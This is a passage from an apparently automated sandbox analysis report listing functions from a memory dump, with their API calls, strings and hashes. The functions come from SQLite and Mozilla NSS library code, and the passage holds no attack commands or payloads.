strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA5E908
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA5E921
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA5E978
memcmp.VCRUNTIME140(?,?,6CA5DA6A), ref: 6CA5E991
sqlite3_initialize.NSS3(?,?,00000000,?,6CA5DA6A,?,00000000,?,?), ref: 6CA5E9FA
memcpy.VCRUNTIME140(?,6CA5DA6A,00000000,?,?,00000000), ref: 6CA5EA3A
sqlite3_initialize.NSS3(?,?,00000000), ref: 6CA5EA55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA5EABA
sqlite3_mprintf.NSS3(no such %s mode: %s,6CBAE039,?), ref: 6CA5EB9F
sqlite3_free.NSS3(000000FC,?,?,?,?,00000000), ref: 6CA5EBDB
sqlite3_mprintf.NSS3(no such vfs: %s,?,?,?,00000000), ref: 6CA5EC1A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,//localhost/,0000000C), ref: 6CA5EC2E

Strings

cach, xrefs: 6CA5E93A
///, xrefs: 6CA5E7A3, 6CA5E7C2
%s mode not allowed: %s, xrefs: 6CA5ECB7
mode, xrefs: 6CA5EC58
no such %s mode: %s, xrefs: 6CA5EB9A
//localhost/, xrefs: 6CA5EC26
no such vfs: %s, xrefs: 6CA5EC15
file, xrefs: 6CA5E738

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: strlen$sqlite3_initializestrncmp$sqlite3_mprintf$memcmpmemcpysqlite3_freestrcmp
String ID: %s mode not allowed: %s$///$//localhost/$cach$file$mode$no such %s mode: %s$no such vfs: %s
API String ID: 3798319595-1352301890
Opcode ID: 78c0ac35295e746b6dcb7a8f5300a3922620998c75c5fe4c96bfbed0b55ede45
Instruction ID: d2a604b1878afc9ba45763e71f354e548c097c49c00182b4deaba0e85377131d
Opcode Fuzzy Hash: 78c0ac35295e746b6dcb7a8f5300a3922620998c75c5fe4c96bfbed0b55ede45
Instruction Fuzzy Hash: BEF137B1E0525A8FEF10CFA4C8417AEB7B1BF05308F5DC129D86267A81D7399991CBD1

Function 6CA18460 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6CA184FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6CA188BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6CA188CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA188E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6CA188F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1895F
sqlite3_randomness.NSS3(00000008,?), ref: 6CA18914

Part of subcall function 6CA031C0: sqlite3_initialize.NSS3 ref: 6CA031D6

sqlite3_randomness.NSS3(00000004,?), ref: 6CA18A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA18A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CA18A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA18B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CA18B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6CA18BAD

Strings

cannot limit WAL size: %s, xrefs: 6CA19188

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: 655f7b625397e1d3d78a93cfe52c88b826a7fd5f9e19292cf65a075f3abe97c9
Instruction ID: e6cbaf295d19efd99912574bc91d25008ae589eb55e7b08dcf7e2b7f40aa4907
Opcode Fuzzy Hash: 655f7b625397e1d3d78a93cfe52c88b826a7fd5f9e19292cf65a075f3abe97c9
Instruction Fuzzy Hash: 1092A075A083419FD704CF29C990A5AB7F1FF88318F198A2DE99987B51D734EC85CB82

Function 6CADAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CADACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CADACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CADACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CADAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CADADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADADF0

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CADB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CADB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CADB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CADB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CADB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADB40C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 29d919ce349efaed3066fedd60d693a5a46398de015070fb81ccdafcbfac9d93
Instruction ID: 9febd46a86399f622502ccbb0f8835241bcd9d47234399e9e18b45c5471edd53
Opcode Fuzzy Hash: 29d919ce349efaed3066fedd60d693a5a46398de015070fb81ccdafcbfac9d93
Instruction Fuzzy Hash: A322D071A04300AFE700CF14DD45B9A77E1AF8430CF29866CE8595B792E732F999CB96

Function 6CA64420 Relevance: 34.4, APIs: 10, Strings: 9, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA64EE3

Strings

non-deterministic use of %s() in %s, xrefs: 6CA64D71, 6CA64EA4
start of , xrefs: 6CA6517A
40f-21a-21d, xrefs: 6CA644D0
a CHECK constraint, xrefs: 6CA64D62, 6CA64D6D, 6CA64E95, 6CA64EA0
a generated column, xrefs: 6CA64D58, 6CA64E8B
-, xrefs: 6CA64FBA
weekday , xrefs: 6CA654AB
an index, xrefs: 6CA64D53, 6CA64E86
second, xrefs: 6CA64BCA

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $weekday
API String ID: 39653677-183924012
Opcode ID: d53ab1b97efd49beb57bbe9623c4a74e0e62791cbb111bf4b59998da6b987ebb
Instruction ID: 7f1f1965561e106444f8e3c16d082022f3e66493ed57ca057ccad520a851f4e5
Opcode Fuzzy Hash: d53ab1b97efd49beb57bbe9623c4a74e0e62791cbb111bf4b59998da6b987ebb
Instruction Fuzzy Hash: B6A20275A087848FD711CF26C0602AAB7E2EF86358F18865DE8E55BF82E735D8C6C741

Function 6CA5ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA5ED38

Part of subcall function 6C9F4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9F4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CA5EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CA5EFE4

Part of subcall function 6CB1DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C9F5001,?,00000003,00000000), ref: 6CB1DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CA5F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CA5F129
sqlite3_mprintf.NSS3(optimize), ref: 6CA5F1D1
sqlite3_free.NSS3(?), ref: 6CA5F368

Strings

matchinfo, xrefs: 6CA5F04F, 6CA5F082, 6CA5F0C2, 6CA5F0F2, 6CA5F124, 6CA5F169
porter, xrefs: 6CA5ED97
optimize, xrefs: 6CA5F199, 6CA5F1CC, 6CA5F211
unicode61, xrefs: 6CA5EDB5
fts3_tokenizer, xrefs: 6CA5EE1A, 6CA5EEA8
offsets, xrefs: 6CA5EFAF, 6CA5EFDF, 6CA5F01F
fts4aux, xrefs: 6CA5ECF9
simple, xrefs: 6CA5ED79
fts4, xrefs: 6CA5F2AD
snippet, xrefs: 6CA5EF05, 6CA5EF37, 6CA5EF7C
fts3, xrefs: 6CA5F247
fts3tokenize, xrefs: 6CA5F30F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 9eb2cd23c46bef03ebbd4a46d09b71a6162206f42798b56753e02dadac62a5a6
Instruction ID: 5263518a9bd8a14fcb3e32384837d4b7aac7567ff1d77452cc57a58af2f294c3
Opcode Fuzzy Hash: 9eb2cd23c46bef03ebbd4a46d09b71a6162206f42798b56753e02dadac62a5a6
Instruction Fuzzy Hash: 1B0205B5B043804BE7049F719C5673F32B5BBC5218F58C53CD86A97B01EB75E89A8B82

Function 6CA9A4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6CA728AD,pkcs11:,00000007), ref: 6CA9A501
PORT_Strdup_Util.NSS3(6CA728AD), ref: 6CA9A514

Part of subcall function 6CAD0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA72AF5,?,?,?,?,?,6CA70A1B,00000000), ref: 6CAD0F1A
Part of subcall function 6CAD0F10: malloc.MOZGLUE(00000001), ref: 6CAD0F30
Part of subcall function 6CAD0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAD0F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6CA9A529
PK11_GetInternalKeySlot.NSS3 ref: 6CA9A60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CA9A74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CA9A777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9A80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6CA9A82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA9A952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9A9C3

Part of subcall function 6CAC0960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6CA9A8F5,00000000,?,00000010), ref: 6CAC097E
Part of subcall function 6CAC0960: memcmp.VCRUNTIME140(?,00000000,6CA9A8F5,00000010), ref: 6CAC098D

free.MOZGLUE(00000000), ref: 6CA9AB18
strchr.VCRUNTIME140(?,00000040), ref: 6CA9AB40
free.MOZGLUE(?), ref: 6CA9ABE1

Part of subcall function 6CA94170: TlsGetValue.KERNEL32(?,6CA728AD,00000000,?,6CA9A793,?,00000000), ref: 6CA9419F
Part of subcall function 6CA94170: EnterCriticalSection.KERNEL32(0000001C), ref: 6CA941AF
Part of subcall function 6CA94170: PR_Unlock.NSS3(?), ref: 6CA941D4

Strings

manufacturer, xrefs: 6CA9A8A2
model, xrefs: 6CA9A8CF
token, xrefs: 6CA9A875
object, xrefs: 6CA9A5CF
pkcs11:, xrefs: 6CA9A4FB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: 08bae8e94a752dd1b9daaadda37148c1c8ec9a67a05e4c389693e6681cc1dd2c
Instruction ID: 32be13e81418844295baeb113b0f49d0fa2045714d0a3412e106b00ef30c29bb
Opcode Fuzzy Hash: 08bae8e94a752dd1b9daaadda37148c1c8ec9a67a05e4c389693e6681cc1dd2c
Instruction Fuzzy Hash: ED02A7B5D112249FEF215B359D42BAE76B6AF0120CF1400A5E90DA6712FB319EDCCF92

Function 6CABA650 Relevance: 31.8, APIs: 21, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CABA670

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

PK11_GetInternalKeySlot.NSS3 ref: 6CABA67E
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CABA69B

Part of subcall function 6CA99520: PK11_IsLoggedIn.NSS3(00000000,?,6CAC379E,?,00000001,?), ref: 6CA99542

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CABA6C0
TlsGetValue.KERNEL32 ref: 6CABA703
EnterCriticalSection.KERNEL32(?), ref: 6CABA718
PR_Unlock.NSS3(?), ref: 6CABA78B
PK11_CreateContextBySymKey.NSS3(00000133,00000104,?,00000000), ref: 6CABA7DD
PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CABA7FA
PORT_Alloc_Util.NSS3(00000000), ref: 6CABA818
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CABA82F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CABA868
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CABA873
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABA884
PK11_FreeSymKey.NSS3(00000000), ref: 6CABA894
PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CABA8D9
PK11_CipherOp.NSS3(?,00000000,?,00000000,00000000,00000000), ref: 6CABA8F0
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBD0B04), ref: 6CABA93F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CABA952
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CABA961
PK11_DestroyContext.NSS3(?,00000001), ref: 6CABA96E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$K11_$Item_$Zfree$Arena_Free$Alloc_ArenaContext$AuthenticateBlockCipherCreateCriticalDestroyEncodeEnterInitInternalLockLoggedPoolSectionSizeSlotUnlockValuecallocmemcpy
String ID:
API String ID: 1441238854-0
Opcode ID: 7ed39033cec49616819cd299ed00d39dd1b2ab4fd3059d85733abaf498d286be
Instruction ID: 838a6457f09f971b26777eac4f1cdbe63779256c3ba137a7b684af7d670ab970
Opcode Fuzzy Hash: 7ed39033cec49616819cd299ed00d39dd1b2ab4fd3059d85733abaf498d286be
Instruction Fuzzy Hash: A591E6B5E002499FEB00DFE4DD45AAEBBB9EF15308F144428E814AB741F7319D8AC791

Function 6CA9E6E0 Relevance: 30.6, APIs: 20, Instructions: 581memorythreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA9E8AB
EnterCriticalSection.KERNEL32(?), ref: 6CA9E8BF
PORT_Alloc_Util.NSS3(0000000C), ref: 6CA9EA30
PK11_Encrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6CA9EA6A
PORT_Alloc_Util.NSS3(?), ref: 6CA9EB0D
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CA9EB23
memcpy.VCRUNTIME140(?,?), ref: 6CA9EB38
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CA9EB50
PR_SetError.NSS3(00000000,00000000), ref: 6CA9EC0F
PR_Unlock.NSS3(?), ref: 6CA9EC68
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA9EC7D
PR_Unlock.NSS3(?), ref: 6CA9EC9C
PK11_Decrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6CA9ECCF
PR_GetCurrentThread.NSS3 ref: 6CA9ED02
PK11_Decrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6CA9ED6F
PK11_Encrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6CA9EDB7
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9EDF6
memcpy.VCRUNTIME140(?,?), ref: 6CA9EE12
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA9EE2B

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

free.MOZGLUE(?), ref: 6CA9EE43

Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607AD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607CD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607D6
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C9F204A), ref: 6CA607E4
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,6C9F204A), ref: 6CA60864
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA60880
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,6C9F204A), ref: 6CA608CB
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608D7
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608FB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$ErrorK11_memcpy$Alloc_DecryptEncryptUnlockUtilcalloc$CriticalCurrentEnterSectionThreadfree
String ID:
API String ID: 1743700497-0
Opcode ID: 465c6430ec3e9cfef2e50bf2c84380c4dcbeb86df2967729f3368ac39d3ebc6c
Instruction ID: 60c328869229243f3e6cfb3d6c74dc1ef5caa0f0be0d602bc81a1ee49ce64266
Opcode Fuzzy Hash: 465c6430ec3e9cfef2e50bf2c84380c4dcbeb86df2967729f3368ac39d3ebc6c
Instruction Fuzzy Hash: 04324575604305DFDB14CF59C881A9ABBF1BF89308F18892DE89997762D731E884CF92

Function 6CA62560 Relevance: 30.3, APIs: 10, Strings: 7, Instructions: 533stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9FCA30: EnterCriticalSection.KERNEL32(?,?,?,6CA5F9C9,?,6CA5F4DA,6CA5F9C9,?,?,6CA2369A), ref: 6C9FCA7A
Part of subcall function 6C9FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C9FCB26

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA625B2
memset.VCRUNTIME140(00000000,00000000,00000079), ref: 6CA625DE
sqlite3_snprintf.NSS3(-0000000F,00000068,%s-shm,?), ref: 6CA62604
sqlite3_initialize.NSS3 ref: 6CA6269D
sqlite3_uri_parameter.NSS3(?,readonly_shm), ref: 6CA626D6
sqlite3_initialize.NSS3 ref: 6CA6289F
EnterCriticalSection.KERNEL32(?), ref: 6CA629CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA62A26
sqlite3_free.NSS3(?), ref: 6CA62B30

Strings

winShmMap2, xrefs: 6CA62BD0
winFileSize, xrefs: 6CA62A7D
winOpenShm, xrefs: 6CA62B7E
readonly_shm, xrefs: 6CA626CE
winShmMap3, xrefs: 6CA62C08, 6CA62C3D
winShmMap1, xrefs: 6CA62AB0
%s-shm, xrefs: 6CA625FD

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_initialize$memsetsqlite3_freesqlite3_snprintfsqlite3_uri_parameterstrlen
String ID: %s-shm$readonly_shm$winFileSize$winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 3867263885-4021692097
Opcode ID: b60107c8964682a809b847618dacc99720a1c67620c77dba9156c831cacf8c2a
Instruction ID: 1e0089d3250fbae9423d6611a7aac3645cd0c5043e6c5ca60d26d78a9e6e8567
Opcode Fuzzy Hash: b60107c8964682a809b847618dacc99720a1c67620c77dba9156c831cacf8c2a
Instruction Fuzzy Hash: 9D12DD71A042419FEB04CF26D899A6A77F5FF89314F18862CE8459BB40DB34FD85CB92

Function 6CA2A7D0 Relevance: 28.2, APIs: 5, Strings: 8, Instructions: 5451COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CA2A973

Strings

at most %d tables in a join, xrefs: 6CA2B630
SCAN CONSTANT ROW, xrefs: 6CA2B01D
abbreviated query algorithm search, xrefs: 6CA2B3BF
too many arguments on %s() - max %d, xrefs: 6CA2EB2D
MULTI-INDEX OR, xrefs: 6CA2D6E6
gfff, xrefs: 6CA2ED41
INDEX %d, xrefs: 6CA2D786
N, xrefs: 6CA2AD0F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
